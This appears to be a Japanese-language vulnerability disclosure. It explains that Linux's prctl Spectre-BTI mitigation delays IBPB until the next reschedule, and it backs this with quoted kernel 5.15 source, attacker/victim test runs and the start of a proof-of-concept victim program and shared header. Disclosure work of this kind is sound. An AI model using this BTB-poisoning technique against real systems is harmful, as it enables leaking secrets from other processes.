
José Oliveira (esoj)
Rodrigo Branco (BSDaemon)
Spectre-BTI攻撃の成功率をテストした際、カーネルAPIを緩和策として使用したときに奇妙なパターンを検出しました[^1]。私たちのテストにより、Linuxカーネルが攻撃を正しく緩和できず、syscall後にプロセスが短時間露出したままになることが明らかになりました。
さらなる調査により、カーネルはsyscall中にIBPBを即座に発行しないことが判明しました。ib_prctl_set[^2] 関数はタスクのThread Information Flags (TIF) を更新し、__speculation_ctrl_update [^3] 関数でSPEC_CTRL MSRを更新しますが、IBPBはTIFビットがチェックされる次のスケジュール時にのみ発行されます。これにより、被害者はprctl syscallの前にBTBに注入された値に対して脆弱なままになります。この動作は、タスクのリスケジュールが発生した後にのみ修正されます。さらに、syscall自体によるカーネルエントリは、デフォルトのシナリオ(つまり、カーネルがretpolineまたはeIBRSを介して自身を保護する場合)ではIBPBを発行しません。
Spectre-BTI攻撃を緩和するためのprctlを次のように実行すると:
prctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);
kernel 5.15上のib_prctl_set[^2]関数に到達します。SPEC_DISABLEオプションが使用されると、task_set_spec_ib_disableのTIFビットが設定され、task_update_spec_tifが呼び出されます:
static int ib_prctl_set(struct task_struct *task, unsigned long ctrl)
[...]
case PR_SPEC_FORCE_DISABLE:
/*
* Indirect branch speculation is always allowed when
* mitigation is force disabled.
*/
if (spectre_v2_user_ibpb == SPECTRE_V2_USER_NONE &&
spectre_v2_user_stibp == SPECTRE_V2_USER_NONE)
return -EPERM;
if (!is_spec_ib_user_controlled())
return 0;
task_set_spec_ib_disable(task);
if (ctrl == PR_SPEC_FORCE_DISABLE)
task_set_spec_ib_force_disable(task);
task_update_spec_tif(task);
break;
task_set_spec_ib_disableはset_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);を呼び出し、対象タスクが現在のタスクである場合はspeculation_ctrl_update_current();を呼び出します:
static void task_update_spec_tif(struct task_struct *tsk)
{
/* Force the update of the real TIF bits */
set_tsk_thread_flag(tsk, TIF_SPEC_FORCE_UPDATE);
/*
* Immediately update the speculation control MSRs for the current
* task, but for a non-current task delay setting the CPU
* mitigation until it is scheduled next.
*
* This can only happen for SECCOMP mitigation. For PRCTL it's
* always the current task.
*/
if (tsk == current)
speculation_ctrl_update_current();
}
speculation_ctrl_update_currentは、speculation_ctrl_updateラッパーの後、tifp = ~tifpで__speculation_ctrl_updateを実行します。ここではSTIBPを設定するためのwrmsrの更新が実行されますが、IBPBは発行されません:
static __always_inline void __speculation_ctrl_update(unsigned long tifp,
unsigned long tifn)
{
unsigned long tif_diff = tifp ^ tifn;
u64 msr = x86_spec_ctrl_base;
bool updmsr = false;
lockdep_assert_irqs_disabled();
/* Handle change of TIF_SSBD depending on the mitigation method. */
if (static_cpu_has(X86_FEATURE_VIRT_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_ssb_virt_state(tifn);
} else if (static_cpu_has(X86_FEATURE_LS_CFG_SSBD)) {
if (tif_diff & _TIF_SSBD)
amd_set_core_ssb_state(tifn);
} else if (static_cpu_has(X86_FEATURE_SPEC_CTRL_SSBD) ||
static_cpu_has(X86_FEATURE_AMD_SSBD)) {
updmsr |= !!(tif_diff & _TIF_SSBD);
msr |= ssbd_tif_to_spec_ctrl(tifn);
}
/* Only evaluate TIF_SPEC_IB if conditional STIBP is enabled. */
if (IS_ENABLED(CONFIG_SMP) &&
static_branch_unlikely(&switch_to_cond_stibp)) {
updmsr |= !!(tif_diff & _TIF_SPEC_IB);
msr |= stibp_tif_to_spec_ctrl(tifn);
}
if (updmsr)
wrmsrl(MSR_IA32_SPEC_CTRL, msr);
}
seccomp syscallもarch_seccomp_spec_mitigate[^4]内でib_prctl_set[^2]を緩和策として使用するため、seccompでも同じ結果が期待されます。
コード分析によって悪用可能なウィンドウが存在することは確信していますが、そのウィンドウが、被害者が秘密をロードし、攻撃者がそれをリークするのに十分な大きさであるかは不明でした(秘密はprctl呼び出しが発行されるまで被害者のアドレス空間にないことが期待されるため)。テストは、ハードウェア緩和策をサポートするベアメタルマシン上で、ubuntu 22.04.1 LTSをインストールして実行されました:
Kernel is Linux 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64
CPU is Intel(R) Core(TM) i7-4790 CPU @ 3.60GHz
* Hardware support (CPU microcode) for mitigation techniques
* Indirect Branch Restricted Speculation (IBRS)
* SPEC_CTRL MSR is available: YES
* CPU indicates IBRS capability: YES (SPEC_CTRL feature bit)
* Indirect Branch Prediction Barrier (IBPB)
* CPU indicates IBPB capability: YES (SPEC_CTRL feature bit)
* Single Thread Indirect Branch Predictors (STIBP)
* SPEC_CTRL MSR is available: YES
* CPU indicates STIBP capability: YES (Intel STIBP feature bit)
* Speculative Store Bypass Disable (SSBD)
テストコードは、同じ論理コア上で実行される2つのプロセスで構成されています。攻撃者は、被害者プロセス内に存在するspectre gadgetのアドレスでBTBを絶えず汚染します。被害者プロセスは、テスト変数がspectre gadget関数によってアクセスされたかどうかをチェックすることで、誤予測率を測定します。通常、これにより次の出力が得られます:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./attacker 0x55555554123 0x55555555345 0 &
esoj@oxigenio:~/CPU_exploits/prctlbleed$ ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 941/1000
Rate: 1000/1000
Rate: 999/1000
Rate: 1000/1000
Rate: 1000/1000
Rate: 997/1000
Rate: 994/1000
Rate: 996/1000
Rate: 998/1000
Rate: 993/1000
Total misspredict rate: 9918/10000 (99.18 %)
次に、PRCTLを使用して攻撃を緩和します。緩和策は、プログラムの先頭にprctl(PR_SET_SPECULATION_CTRL, PR_SPEC_INDIRECT_BRANCH, PR_SPEC_FORCE_DISABLE, 0, 0);を追加することで有効にできます。これによりSpectre-BTI攻撃が緩和されることが期待されます:
PRCTL GET value 0x9
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Rate: 0/1000
Total misspredict rate: 0/10000 (0.00 %)
しかし、一部のテストでは異なる結果が示されました:
Rate: 50510/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 50510/1000000 (5.05 %)
また、'nice'(優先度)を変更すると、誤予測率に影響するようです:
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n -19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 99994/100000
Rate: 7716/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 107710/1000000 (10.77 %)
esoj@oxigenio:~/CPU_exploits/prctlbleed$ sudo nice -n 19 ./victim-PRCTL 0x55555554123 0x55555555345 0
Rate: 16715/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Rate: 0/100000
Total misspredict rate: 16715/1000000 (1.67 %)
これは、コード分析で理解されたように、prctlが次のスケジュール後にのみプロセスを保護したことを示しています。このテストのもう1つの奇妙な動作は、誤った分岐の後、投機パスが修正され、真の値がBTBに書き込まれるはずであることです。兄弟スレッド上にBTBを再汚染する他の攻撃者はいないため、このような高い誤予測値は予想外です。
これが測定エラーではないことを確認するために、簡単なPOCを作成しました。被害者コードは、Spectre-BTI攻撃に対して脆弱な関数ポインタを通じて常にsafe_functionを実行します。被害者は、protect_me内でprctl syscallを使用してカーネルに保護を要求します。被害者はまた、テキストファイルから秘密をロードし、他のsyscallもTIFビットをチェックしないか、IBPBを強制するリスケジュールを引き起こさないことを示しています。
//gcc -o victim victim.c -O0 -masm=intel -no-pie -fno-stack-protector
#include "common.h"
int main(int argc, char *argv[])
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("running victim %s\n", argv[1]);
//only call safe_function
codePtr = safe_function;
char secret[20];
char *sharedmem = open_shared_mem();
unsigned idx = string_to_unsigned(argv[1]);
//call for prctl to protect this process
protect_me();
//only then load the secret into memory
load_secret(secret);
for (int i = 0; i < 100; i++)
{
flush((char *)&codePtr);
//this arguments are never used on safe_function, but they match the signature of spectre_gadget, that should never be called
//Since prctl is called, it shouldn't be possible for an attacker to poison the BTB and leak the secret
spec(&sharedmem[2000], secret, idx);
}
}
libc関数のほとんどは、攻撃者と被害者の間の共通ヘッダー内に配置され、spectre_gadget関数とspec関数が被害者と攻撃者の両方で同じメモリアドレスを共有するようにしました(そうしないと.GOTエントリが作成され、アドレスが変更されます)。これは必須ではなく、分岐を同じアドレスに配置して被害者のコンテキストを模倣する他の方法もありますが、この方法がより簡単です。
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/prctl.h>
char unused[0x1000];
void (*codePtr)(char *, char *, unsigned idx);
char unused2[0x1000];